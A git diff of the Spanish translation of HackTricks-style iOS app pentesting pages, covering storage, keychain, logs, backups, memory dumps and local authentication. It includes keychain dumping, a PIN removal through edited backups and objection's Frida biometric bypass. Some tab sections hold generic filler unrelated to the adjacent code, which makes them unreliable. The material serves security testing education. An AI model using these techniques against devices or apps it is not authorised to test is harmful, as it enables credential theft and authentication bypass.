iOS almacena las cookies de las aplicaciones en **`Library/Cookies/cookies.binarycookies`** dentro de la carpeta de cada aplicación. Sin embargo, a veces los desarrolladores deciden guardarlas en el **llavero** ya que el **archivo de cookies mencionado puede ser accedido en las copias de seguridad**.
|
||||
|
||||
Para inspeccionar el archivo de cookies puedes usar [**este script de python**](https://github.com/mdegrazia/Safari-Binary-Cookie-Parser) o usar **`ios cookies get`** de objection.\
|
||||
Para inspeccionar el archivo de cookies puedes usar [**este script de Python**](https://github.com/mdegrazia/Safari-Binary-Cookie-Parser) o utilizar **`ios cookies get`** de objection.\
|
||||
**También puedes usar objection para** convertir estos archivos a un formato JSON e inspeccionar los datos.
|
||||
```bash
|
||||
...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios cookies get --json
|
||||
|
@ -535,12 +535,12 @@ Se **recomienda deshabilitar el almacenamiento en caché de estos datos**, ya qu
|
|||
`URLCache.shared.removeAllCachedResponses()`
|
||||
|
||||
Este método eliminará todas las solicitudes y respuestas en caché del archivo Cache.db.
|
||||
2. Si no necesitas utilizar las ventajas de las cookies, se recomienda simplemente usar la propiedad [.ephemeral](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral) de URLSession, que deshabilitará el almacenamiento de cookies y cachés.
|
||||
2. Si no necesitas utilizar las ventajas de las cookies, se recomienda simplemente usar la propiedad de configuración [.ephemeral](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral) de URLSession, que deshabilitará el almacenamiento de cookies y cachés.
|
||||
|
||||
[Documentación de Apple](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral):
|
||||
|
||||
`Un objeto de configuración de sesión efímera es similar a una configuración de sesión predeterminada (ver predeterminada), excepto que el objeto de sesión correspondiente no almacena cachés, almacenes de credenciales ni ningún dato relacionado con la sesión en el disco. En su lugar, los datos relacionados con la sesión se almacenan en la RAM. La única vez que una sesión efímera escribe datos en el disco es cuando le indicas que escriba el contenido de una URL en un archivo.`
|
||||
3. La caché también se puede deshabilitar configurando la Política de Caché en [.notAllowed](https://developer.apple.com/documentation/foundation/urlcache/storagepolicy/notallowed). Esto deshabilitará el almacenamiento de caché de cualquier forma, ya sea en memoria o en disco.
|
||||
`Un objeto de configuración de sesión efímera es similar a una configuración de sesión predeterminada (ver predeterminada), excepto que el objeto de sesión correspondiente no almacena cachés, almacenes de credenciales ni ningún dato relacionado con la sesión en disco. En su lugar, los datos relacionados con la sesión se almacenan en RAM. La única vez que una sesión efímera escribe datos en disco es cuando le indicas que escriba el contenido de una URL en un archivo.`
|
||||
3. La caché también se puede deshabilitar configurando la política de caché en [.notAllowed](https://developer.apple.com/documentation/foundation/urlcache/storagepolicy/notallowed). Esto deshabilitará el almacenamiento de caché de cualquier manera, ya sea en memoria o en disco.
|
||||
|
||||
### Capturas de pantalla
|
||||
|
||||
|
@ -569,7 +569,7 @@ backgroundImage?.removeFromSuperview()
|
|||
```
|
||||
Objective-C:
|
||||
|
||||
Objective-C es un lenguaje de programación utilizado para el desarrollo de aplicaciones en iOS. Es importante comprender los conceptos básicos de Objective-C para realizar pruebas de penetración en aplicaciones iOS.
|
||||
Objective-C es un lenguaje de programación utilizado para el desarrollo de aplicaciones en iOS. Es importante comprender los conceptos básicos de Objective-C para realizar pruebas de penetración en aplicaciones iOS de manera efectiva.
|
||||
```
|
||||
@property (UIImageView *)backgroundImage;
|
||||
|
||||
|
@ -586,7 +586,7 @@ self.backgroundImage.bounds = UIScreen.mainScreen.bounds;
|
|||
```
|
||||
Este código establece la imagen de fondo en `overlayImage.png` cada vez que la aplicación pasa a segundo plano. Esto previene fugas de datos sensibles porque `overlayImage.png` siempre sobrescribirá la vista actual.
|
||||
|
||||
### Keychain
|
||||
### Llavero
|
||||
|
||||
Para acceder y gestionar el llavero de iOS, herramientas como [**Keychain-Dumper**](https://github.com/ptoomey3/Keychain-Dumper) están disponibles, adecuadas para dispositivos con jailbreak. Además, [**Objection**](https://github.com/sensepost/objection) proporciona el comando `ios keychain dump` con propósitos similares.
|
||||
|
||||
|
@ -602,12 +602,12 @@ Para extraer estas credenciales almacenadas, se utiliza el comando `ios nsurlcre
|
|||
|
||||
## **Teclados Personalizados y Caché de Teclado**
|
||||
|
||||
A partir de iOS 8.0, los usuarios pueden instalar extensiones de teclado personalizadas, que se pueden gestionar en **Configuración > General > Teclado > Teclados**. Si bien estos teclados ofrecen funcionalidades extendidas, representan un riesgo de registro de pulsaciones de teclas y de envío de datos a servidores externos, aunque los usuarios son notificados sobre los teclados que requieren acceso a la red. Las aplicaciones pueden y deben restringir el uso de teclados personalizados para la introducción de información sensible.
|
||||
A partir de iOS 8.0, los usuarios pueden instalar extensiones de teclado personalizadas, que se pueden gestionar en **Configuración > General > Teclado > Teclados**. Si bien estos teclados ofrecen funcionalidades extendidas, representan un riesgo de registro de pulsaciones de teclas y de transmisión de datos a servidores externos, aunque los usuarios son notificados sobre los teclados que requieren acceso a la red. Las aplicaciones pueden y deben restringir el uso de teclados personalizados para la introducción de información sensible.
|
||||
|
||||
**Recomendaciones de Seguridad:**
|
||||
|
||||
* Se recomienda desactivar los teclados de terceros para una seguridad mejorada.
|
||||
* Tener en cuenta las funciones de autocorrección y sugerencias automáticas del teclado iOS predeterminado, que podrían almacenar información sensible en archivos de caché ubicados en `Library/Keyboard/{locale}-dynamic-text.dat` o `/private/var/mobile/Library/Keyboard/dynamic-text.dat`. Estos archivos de caché deben ser revisados regularmente en busca de datos sensibles. Se recomienda restablecer el diccionario del teclado a través de **Configuración > General > Restablecer > Restablecer diccionario del teclado** para limpiar los datos en caché.
|
||||
* Estar al tanto de las funciones de autocorrección y sugerencias automáticas del teclado iOS predeterminado, que podrían almacenar información sensible en archivos de caché ubicados en `Library/Keyboard/{locale}-dynamic-text.dat` o `/private/var/mobile/Library/Keyboard/dynamic-text.dat`. Estos archivos de caché deben ser revisados regularmente en busca de datos sensibles. Se recomienda restablecer el diccionario del teclado a través de **Configuración > General > Restablecer > Restablecer diccionario del teclado** para limpiar los datos en caché.
|
||||
* La interceptación del tráfico de red puede revelar si un teclado personalizado está transmitiendo pulsaciones de teclas de forma remota.
|
||||
|
||||
### **Prevención del Caché de Campos de Texto**
|
||||
|
@ -634,7 +634,7 @@ Al revisar el código fuente de la aplicación en busca de posibles fugas, busqu
|
|||
|
||||
### **Monitoreo de Registros del Sistema**
|
||||
|
||||
Las aplicaciones registran varias piezas de información que pueden ser sensibles. Para monitorear estos registros, se utilizan herramientas y comandos como:
|
||||
Las aplicaciones registran varias piezas de información que pueden ser sensibles. Para monitorear estos registros, herramientas y comandos como:
|
||||
```bash
|
||||
idevice_id --list # To find the device ID
|
||||
idevicesyslog -u <id> (| grep <app>) # To capture the device logs
|
||||
|
@ -654,7 +654,7 @@ iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock
|
|||
```
|
||||
### Copias de seguridad
|
||||
|
||||
Las **funcionalidades de copia de seguridad automática** están integradas en iOS, facilitando la creación de copias de datos del dispositivo a través de iTunes (hasta macOS Catalina), Finder (desde macOS Catalina en adelante) o iCloud. Estas copias de seguridad abarcan casi todos los datos del dispositivo, excluyendo elementos altamente sensibles como detalles de Apple Pay y configuraciones de Touch ID.
|
||||
Las **funciones de autorespaldo automático** están integradas en iOS, facilitando la creación de copias de datos del dispositivo a través de iTunes (hasta macOS Catalina), Finder (desde macOS Catalina en adelante) o iCloud. Estas copias de seguridad abarcan casi todos los datos del dispositivo, excluyendo elementos altamente sensibles como detalles de Apple Pay y configuraciones de Touch ID.
|
||||
|
||||
### Riesgos de seguridad
|
||||
|
||||
|
@ -685,15 +685,15 @@ Para lidiar con copias de seguridad encriptadas, los scripts de Python disponibl
|
|||
|
||||
### Modificación del Comportamiento de la Aplicación
|
||||
|
||||
Un ejemplo de alterar el comportamiento de una aplicación a través de modificaciones en la copia de seguridad se muestra en la aplicación de billetera de bitcoins Bither (https://github.com/bither/bither-ios), donde el PIN de bloqueo de la interfaz de usuario se almacena dentro de `net.bither.plist` bajo la clave **pin\_code**. Eliminar esta clave del plist y restaurar la copia de seguridad elimina el requisito del PIN, proporcionando acceso sin restricciones.
|
||||
Un ejemplo de alterar el comportamiento de la aplicación a través de modificaciones en la copia de seguridad se muestra en la aplicación de billetera de bitcoins Bither (https://github.com/bither/bither-ios), donde el PIN de bloqueo de la interfaz de usuario se almacena dentro de `net.bither.plist` bajo la clave **pin\_code**. Eliminar esta clave del plist y restaurar la copia de seguridad elimina el requisito del PIN, proporcionando acceso sin restricciones.
|
||||
|
||||
## Resumen sobre Pruebas de Memoria para Datos Sensibles
|
||||
|
||||
Al tratar con información sensible almacenada en la memoria de una aplicación, es crucial limitar el tiempo de exposición de estos datos. Hay dos enfoques principales para investigar el contenido de la memoria: **crear un volcado de memoria** y **analizar la memoria en tiempo real**. Ambos métodos tienen sus desafíos, incluida la posibilidad de perder datos críticos durante el proceso de volcado o análisis.
|
||||
Cuando se trata de información sensible almacenada en la memoria de una aplicación, es crucial limitar el tiempo de exposición de estos datos. Hay dos enfoques principales para investigar el contenido de la memoria: **crear un volcado de memoria** y **analizar la memoria en tiempo real**. Ambos métodos tienen sus desafíos, incluida la posibilidad de perder datos críticos durante el proceso de volcado o análisis.
|
||||
|
||||
## **Recuperación y Análisis de un Volcado de Memoria**
|
||||
|
||||
Tanto en dispositivos con jailbreak como sin jailbreak, herramientas como [objection](https://github.com/sensepost/objection) y [Fridump](https://github.com/Nightbringer21/fridump) permiten el volcado de la memoria del proceso de una aplicación. Una vez volcado, analizar estos datos requiere diversas herramientas, dependiendo de la naturaleza de la información que estás buscando.
|
||||
Tanto en dispositivos con jailbreak como sin jailbreak, herramientas como [objection](https://github.com/sensepost/objection) y [Fridump](https://github.com/Nightbringer21/fridump) permiten el volcado de la memoria del proceso de una aplicación. Una vez volcada, analizar estos datos requiere diversas herramientas, dependiendo de la naturaleza de la información que estás buscando.
|
||||
|
||||
Para extraer cadenas de un volcado de memoria, se pueden usar comandos como `strings` o `rabin2 -zz`:
|
||||
```bash
|
||||
|
@ -724,13 +724,13 @@ Algunos desarrolladores guardan datos sensibles en el almacenamiento local y los
|
|||
|
||||
### Uso de Algoritmos Inseguros y/o Obsoletos
|
||||
|
||||
Los desarrolladores no deberían utilizar algoritmos **obsoletos** para realizar **verificaciones** de autorización, **almacenar** o **enviar** datos. Algunos de estos algoritmos son: RC4, MD4, MD5, SHA1... Si se utilizan **hashes** para almacenar contraseñas, por ejemplo, se deben utilizar hashes resistentes a ataques de fuerza bruta con sal.
|
||||
Los desarrolladores no deberían utilizar **algoritmos obsoletos** para realizar **verificaciones** de autorización, **almacenar** o **enviar** datos. Algunos de estos algoritmos son: RC4, MD4, MD5, SHA1... Si se utilizan **hashes** para almacenar contraseñas, por ejemplo, se deben utilizar hashes resistentes a ataques de fuerza bruta con sal.
|
||||
|
||||
### Verificación
|
||||
|
||||
Las principales verificaciones a realizar son encontrar contraseñas/secretos **codificados** en el código, o si estos son **predecibles**, y si el código está utilizando algún tipo de algoritmos de **criptografía** débiles.
|
||||
Las principales verificaciones a realizar son encontrar contraseñas/secretos **codificados** en el código, o si estos son **predecibles**, y si el código está utilizando algún tipo de algoritmos de **criptografía** **débiles**.
|
||||
|
||||
Es interesante saber que puedes **monitorizar** algunas **bibliotecas** de **criptografía** automáticamente usando **objection** con:
|
||||
Es interesante saber que puedes **monitorizar** algunas **bibliotecas de criptografía** automáticamente usando **objection** con:
|
||||
```swift
|
||||
ios monitor crypt
|
||||
```
|
||||
|
@ -762,7 +762,7 @@ Una autenticación exitosa se indica con un valor booleano devuelto por **`evalu
|
|||
|
||||
### Autenticación Local utilizando el Llavero
|
||||
|
||||
Implementar la **autenticación local** en aplicaciones de iOS implica el uso de las **API del llavero** para almacenar de forma segura datos secretos como tokens de autenticación. Este proceso asegura que los datos solo puedan ser accedidos por el usuario, utilizando su código de acceso del dispositivo o autenticación biométrica como Touch ID.
|
||||
Implementar la **autenticación local** en aplicaciones de iOS implica el uso de **APIs de llavero** para almacenar de forma segura datos secretos como tokens de autenticación. Este proceso asegura que los datos solo puedan ser accedidos por el usuario, utilizando su código de acceso del dispositivo o autenticación biométrica como Touch ID.
|
||||
|
||||
El llavero ofrece la capacidad de establecer elementos con el atributo `SecAccessControl`, que restringe el acceso al elemento hasta que el usuario se autentique con éxito a través de Touch ID o código de acceso del dispositivo. Esta característica es crucial para mejorar la seguridad.
|
||||
|
||||
|
@ -810,17 +810,34 @@ if status == noErr {
|
|||
|
||||
{% tab title="Objective-C" %}
|
||||
|
||||
### Introducción
|
||||
## Introducción
|
||||
|
||||
El pentesting en aplicaciones iOS escritas en Objective-C implica la revisión de posibles vulnerabilidades de seguridad en el código fuente de la aplicación. Algunas de las vulnerabilidades comunes a tener en cuenta incluyen el almacenamiento inseguro de datos, la falta de validación de entrada, la falta de cifrado adecuado y la exposición de información confidencial.
|
||||
La seguridad de las aplicaciones móviles es crucial en la actualidad. En este documento, se presentarán técnicas y herramientas para realizar pruebas de penetración en aplicaciones iOS escritas en Objective-C.
|
||||
|
||||
### Herramientas y técnicas
|
||||
## Configuración del entorno
|
||||
|
||||
Algunas herramientas y técnicas comunes utilizadas en el pentesting de aplicaciones iOS Objective-C incluyen el uso de depuradores como LLDB, la descompilación de la aplicación para analizar el código fuente, la manipulación de solicitudes HTTP para probar la seguridad de la comunicación de red y la búsqueda de posibles puntos de entrada para ataques de inyección de código.
|
||||
Para realizar pruebas de penetración en aplicaciones iOS, es necesario configurar un entorno de laboratorio adecuado. Asegúrese de contar con un dispositivo iOS jailbroken o un simulador de iOS para realizar pruebas.
|
||||
|
||||
### Recomendaciones
|
||||
## Herramientas de prueba de penetración
|
||||
|
||||
Es importante realizar pruebas exhaustivas en todas las áreas de la aplicación, incluido el almacenamiento de datos local y en la nube, la comunicación de red, la autenticación de usuarios y los controles de acceso. Además, se recomienda seguir las mejores prácticas de seguridad de iOS y corregir cualquier vulnerabilidad encontrada durante el proceso de pentesting.
|
||||
Existen varias herramientas que pueden ser útiles para realizar pruebas de penetración en aplicaciones iOS escritas en Objective-C. Algunas de las herramientas más comunes incluyen:
|
||||
|
||||
- **Cycript**: Una herramienta de depuración e inyección de código que puede ser utilizada para manipular aplicaciones en tiempo de ejecución.
|
||||
- **Clutch**: Una herramienta que se utiliza para realizar la extracción de binarios de aplicaciones iOS.
|
||||
- **IDA Pro**: Un desensamblador interactivo utilizado para realizar ingeniería inversa en aplicaciones iOS.
|
||||
- **MobSF**: Un marco de trabajo de seguridad móvil que puede ser utilizado para realizar análisis estático y dinámico de aplicaciones iOS.
|
||||
|
||||
## Técnicas de prueba de penetración
|
||||
|
||||
Algunas técnicas comunes utilizadas en pruebas de penetración en aplicaciones iOS escritas en Objective-C incluyen:
|
||||
|
||||
- **Análisis de código**: Revisar el código fuente en busca de vulnerabilidades de seguridad.
|
||||
- **Intercepción de tráfico**: Utilizar herramientas como Burp Suite para interceptar y modificar el tráfico entre la aplicación y el servidor.
|
||||
- **Inyección de código**: Utilizar herramientas como Cycript para inyectar código en la aplicación en tiempo de ejecución.
|
||||
|
||||
## Conclusiones
|
||||
|
||||
Realizar pruebas de penetración en aplicaciones iOS escritas en Objective-C es fundamental para identificar y mitigar posibles vulnerabilidades de seguridad. Al utilizar las herramientas y técnicas adecuadas, es posible mejorar la seguridad de las aplicaciones móviles y proteger la información confidencial de los usuarios.
|
||||
|
||||
{% endtab %}
|
||||
```objectivec
|
||||
|
@ -850,6 +867,9 @@ if (status == noErr) {
|
|||
// error while saving
|
||||
}
|
||||
```
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
Ahora podemos solicitar el elemento guardado del llavero. Los servicios del llavero presentarán el cuadro de diálogo de autenticación al usuario y devolverán datos o nil dependiendo de si se proporcionó una huella digital adecuada o no.
|
||||
```swift
|
||||
// 1. define query
|
||||
|
@ -879,37 +899,36 @@ let password = String(data: queryResult as! Data, encoding: .utf8)!
|
|||
|
||||
## Introducción
|
||||
|
||||
La seguridad de las aplicaciones móviles es crucial en la actualidad. Para garantizar que las aplicaciones iOS sean seguras, es importante realizar pruebas de penetración para identificar posibles vulnerabilidades.
|
||||
La seguridad de las aplicaciones móviles es crucial en la actualidad. En este documento, se presentarán técnicas y herramientas para realizar pruebas de penetración en aplicaciones iOS escritas en Objective-C.
|
||||
|
||||
## Herramientas de Pruebas de Penetración para iOS
|
||||
## Requisitos
|
||||
|
||||
### 1. **Frida**
|
||||
Para realizar pruebas de penetración en aplicaciones iOS escritas en Objective-C, se necesitará un dispositivo iOS con jailbreak y las siguientes herramientas instaladas:
|
||||
|
||||
[Frida](https://frida.re/) es una herramienta de pruebas de penetración que permite la manipulación dinámica de aplicaciones iOS. Puede utilizarse para realizar pruebas de seguridad, análisis de aplicaciones y más.
|
||||
- **Theos**: un entorno de desarrollo para iOS.
|
||||
- **Cydia Substrate**: una plataforma de modificación de código para iOS.
|
||||
- **Clutch**: una herramienta para descifrar aplicaciones iOS.
|
||||
- **Hopper Disassembler**: una herramienta para realizar ingeniería inversa en aplicaciones iOS.
|
||||
- **Cycript**: una consola interactiva para explorar y modificar aplicaciones en tiempo de ejecución.
|
||||
|
||||
### 2. **Cycript**
|
||||
## Proceso de Pruebas de Penetración
|
||||
|
||||
[Cycript](http://www.cycript.org/) es otra herramienta poderosa que permite la exploración y modificación de aplicaciones en tiempo de ejecución. Es útil para realizar pruebas de penetración en aplicaciones iOS.
|
||||
El proceso de pruebas de penetración en aplicaciones iOS escritas en Objective-C generalmente implica las siguientes etapas:
|
||||
|
||||
### 3. **Needle**
|
||||
1. **Reversión de la Aplicación**: descifrar la aplicación iOS para obtener el código fuente.
|
||||
2. **Análisis Estático**: revisar el código fuente en busca de vulnerabilidades conocidas.
|
||||
3. **Análisis Dinámico**: ejecutar la aplicación en un entorno controlado para identificar posibles vulnerabilidades.
|
||||
4. **Intercepción de Comunicaciones**: analizar el tráfico de red para identificar posibles fugas de información.
|
||||
5. **Manipulación de Datos**: modificar datos en la aplicación para evaluar su comportamiento.
|
||||
6. **Ingeniería Inversa**: realizar ingeniería inversa en la aplicación para comprender su funcionamiento interno.
|
||||
|
||||
[Needle](https://github.com/mwrlabs/needle) es un marco de trabajo de pruebas de penetración automatizado para aplicaciones iOS. Proporciona una amplia gama de funcionalidades para identificar vulnerabilidades en aplicaciones móviles.
|
||||
## Recursos Adicionales
|
||||
|
||||
## Proceso de Pruebas de Penetración en iOS
|
||||
|
||||
El proceso de pruebas de penetración en aplicaciones iOS generalmente implica las siguientes etapas:
|
||||
|
||||
1. **Recolección de Información**: Obtener información sobre la aplicación y su funcionamiento.
|
||||
|
||||
2. **Análisis de Seguridad**: Identificar posibles vulnerabilidades en la aplicación.
|
||||
|
||||
3. **Explotación**: Explotar las vulnerabilidades identificadas para evaluar su impacto.
|
||||
|
||||
4. **Informe**: Documentar las vulnerabilidades encontradas y proporcionar recomendaciones para su corrección.
|
||||
|
||||
## Conclusiones
|
||||
|
||||
Realizar pruebas de penetración en aplicaciones iOS es esencial para garantizar la seguridad de las mismas. Herramientas como Frida, Cycript y Needle pueden ser de gran ayuda en este proceso.
|
||||
- [Theos](https://github.com/theos/theos)
|
||||
- [Cydia Substrate](http://www.cydiasubstrate.com/)
|
||||
- [Clutch](https://github.com/KJCracks/Clutch)
|
||||
- [Hopper Disassembler](https://www.hopperapp.com/)
|
||||
- [Cycript](http://www.cycript.org/)
|
||||
|
||||
{% endtab %}
|
||||
```objectivec
|
||||
|
@ -934,7 +953,7 @@ NSLog(@"Something went wrong");
|
|||
```
|
||||
### Detección
|
||||
|
||||
El uso de frameworks en una aplicación también puede ser detectado analizando la lista de bibliotecas dinámicas compartidas del binario de la aplicación. Esto se puede hacer utilizando `otool`:
|
||||
El uso de frameworks en una aplicación también se puede detectar analizando la lista de bibliotecas dinámicas compartidas del binario de la aplicación. Esto se puede hacer utilizando `otool`:
|
||||
```bash
|
||||
$ otool -L <AppName>.app/<AppName>
|
||||
```
|
||||
|
@ -949,7 +968,7 @@ Si se utiliza `Security.framework`, solo se mostrará el segundo.
|
|||
|
||||
#### **Objeción**
|
||||
|
||||
A través del **Bypass Biométrico de Objection**, ubicado en [esta página de GitHub](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass), está disponible una técnica para superar el mecanismo de **LocalAuthentication**. El núcleo de este enfoque implica aprovechar **Frida** para manipular la función `evaluatePolicy`, asegurando que arroje consistentemente un resultado `True`, independientemente del éxito real de la autenticación. Esto es particularmente útil para eludir procesos de autenticación biométrica defectuosos.
|
||||
A través del **Bypass Biométrico de Objection**, ubicado en [esta página de GitHub](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass), está disponible una técnica para superar el mecanismo de **LocalAuthentication**. El núcleo de este enfoque implica aprovechar **Frida** para manipular la función `evaluatePolicy`, asegurando que produzca consistentemente un resultado `True`, independientemente del éxito real de la autenticación. Esto es particularmente útil para eludir procesos de autenticación biométrica defectuosos.
|
||||
|
||||
Para activar este bypass, se emplea el siguiente comando:
|
||||
```bash
|
||||
|
@ -1104,11 +1123,11 @@ Para este propósito, generalmente se utiliza [**JSPatch**](https://github.com/b
|
|||
|
||||
### Terceros
|
||||
|
||||
Un desafío significativo con los **SDK de terceros** es la **falta de control granular** sobre sus funcionalidades. Los desarrolladores se enfrentan a una elección: integrar el SDK y aceptar todas sus características, incluidas posibles vulnerabilidades de seguridad y preocupaciones de privacidad, o renunciar por completo a sus beneficios. A menudo, los desarrolladores no pueden parchear las vulnerabilidades dentro de estos SDK por sí mismos. Además, a medida que los SDK ganan confianza dentro de la comunidad, algunos pueden empezar a contener malware.
|
||||
Un desafío significativo con los **SDK de terceros** es la **falta de control granular** sobre sus funcionalidades. Los desarrolladores se enfrentan a una elección: integrar el SDK y aceptar todas sus características, incluidas posibles vulnerabilidades de seguridad y preocupaciones de privacidad, o renunciar por completo a sus beneficios. A menudo, los desarrolladores no pueden parchear las vulnerabilidades dentro de estos SDK por sí mismos. Además, a medida que los SDK ganan confianza dentro de la comunidad, algunos pueden comenzar a contener malware.
|
||||
|
||||
Los servicios proporcionados por los SDK de terceros pueden incluir seguimiento del comportamiento del usuario, visualización de anuncios o mejoras en la experiencia del usuario. Sin embargo, esto introduce un riesgo ya que los desarrolladores pueden no estar completamente al tanto del código ejecutado por estas bibliotecas, lo que conlleva posibles riesgos de privacidad y seguridad. Es crucial limitar la información compartida con los servicios de terceros a lo necesario y asegurarse de que no se expongan datos sensibles.
|
||||
|
||||
La implementación de servicios de terceros suele venir en dos formas: una biblioteca independiente o un SDK completo. Para proteger la privacidad del usuario, cualquier dato compartido con estos servicios debe estar **anonimizado** para evitar la divulgación de Información de Identificación Personal (PII).
|
||||
La implementación de servicios de terceros generalmente se presenta en dos formas: una biblioteca independiente o un SDK completo. Para proteger la privacidad del usuario, cualquier dato compartido con estos servicios debe estar **anonimizado** para evitar la divulgación de Información de Identificación Personal (PII).
|
||||
|
||||
Para identificar las bibliotecas que utiliza una aplicación, se puede emplear el comando **`otool`**. Este comando debe ejecutarse contra la aplicación y cada biblioteca compartida que utiliza para descubrir bibliotecas adicionales.
|
||||
```bash
|
||||
|
@ -1138,11 +1157,11 @@ otool -L <application_path>
|
|||
* [https://github.com/prateek147/DVIA](https://github.com/prateek147/DVIA)
|
||||
* [https://github.com/prateek147/DVIA-v2](https://github.com/prateek147/DVIA-v2)
|
||||
* [https://github.com/OWASP/MSTG-Hacking-Playground%20](https://github.com/OWASP/MSTG-Hacking-Playground)
|
||||
* OWASP iGoat [_https://github.com/OWASP/igoat_](https://github.com/OWASP/igoat) <<< Versión en Objective-C [_https://github.com/OWASP/iGoat-Swift_](https://github.com/OWASP/iGoat-Swift) <<< Versión en Swift
|
||||
* OWASP iGoat [_https://github.com/OWASP/igoat_](https://github.com/OWASP/igoat) <<< Versión Objective-C [_https://github.com/OWASP/iGoat-Swift_](https://github.com/OWASP/iGoat-Swift) <<< Versión Swift
|
||||
* [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS)
|
||||
* [https://github.com/nabla-c0d3/ssl-kill-switch2](https://github.com/nabla-c0d3/ssl-kill-switch2)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\
|
||||
|
@ -1156,8 +1175,8 @@ Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_mediu
|
|||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
|
|
@ -2,19 +2,19 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén [**artículos oficiales de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) en GitHub.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\
|
||||
|
@ -22,23 +22,23 @@ Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_mediu
|
|||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## Instalación del Certificado de Burp en Dispositivos iOS
|
||||
## Instalación del Certificado Burp en Dispositivos iOS
|
||||
|
||||
Para el análisis seguro del tráfico web y el pinning SSL en dispositivos iOS, se puede utilizar Burp Suite ya sea a través del **Asistente Móvil de Burp** o mediante una configuración manual. A continuación se presenta una guía resumida sobre ambos métodos:
|
||||
Para el análisis seguro del tráfico web y el SSL pinning en dispositivos iOS, se puede utilizar Burp Suite ya sea a través del **Burp Mobile Assistant** o mediante una configuración manual. A continuación se presenta una guía resumida sobre ambos métodos:
|
||||
|
||||
### Instalación Automatizada con Burp Mobile Assistant
|
||||
|
||||
El **Asistente Móvil de Burp** simplifica el proceso de instalación del Certificado de Burp, la configuración del proxy y el Pinning SSL. Puedes encontrar una guía detallada en la [documentación oficial de PortSwigger](https://portswigger.net/burp/documentation/desktop/tools/mobile-assistant/installing).
|
